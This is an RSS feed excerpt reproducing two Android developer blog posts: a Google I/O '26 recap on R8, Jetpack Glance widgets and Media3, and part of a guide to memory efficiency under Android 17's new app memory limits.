<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

<div>
  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
</div>

<div class="separator">
  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s4209/MM_Differentiated-Experiences_Blog%20(1).png">
    <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s16000/MM_Differentiated-Experiences_Blog%20(1).png">
  </a>
</div>

<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

<div class="separator">
  
</div>

<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

<div class="separator">
  
</div>

<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

<div class="separator">
  
</div>

<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
</div>

<div class="separator">
  
</div>

<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
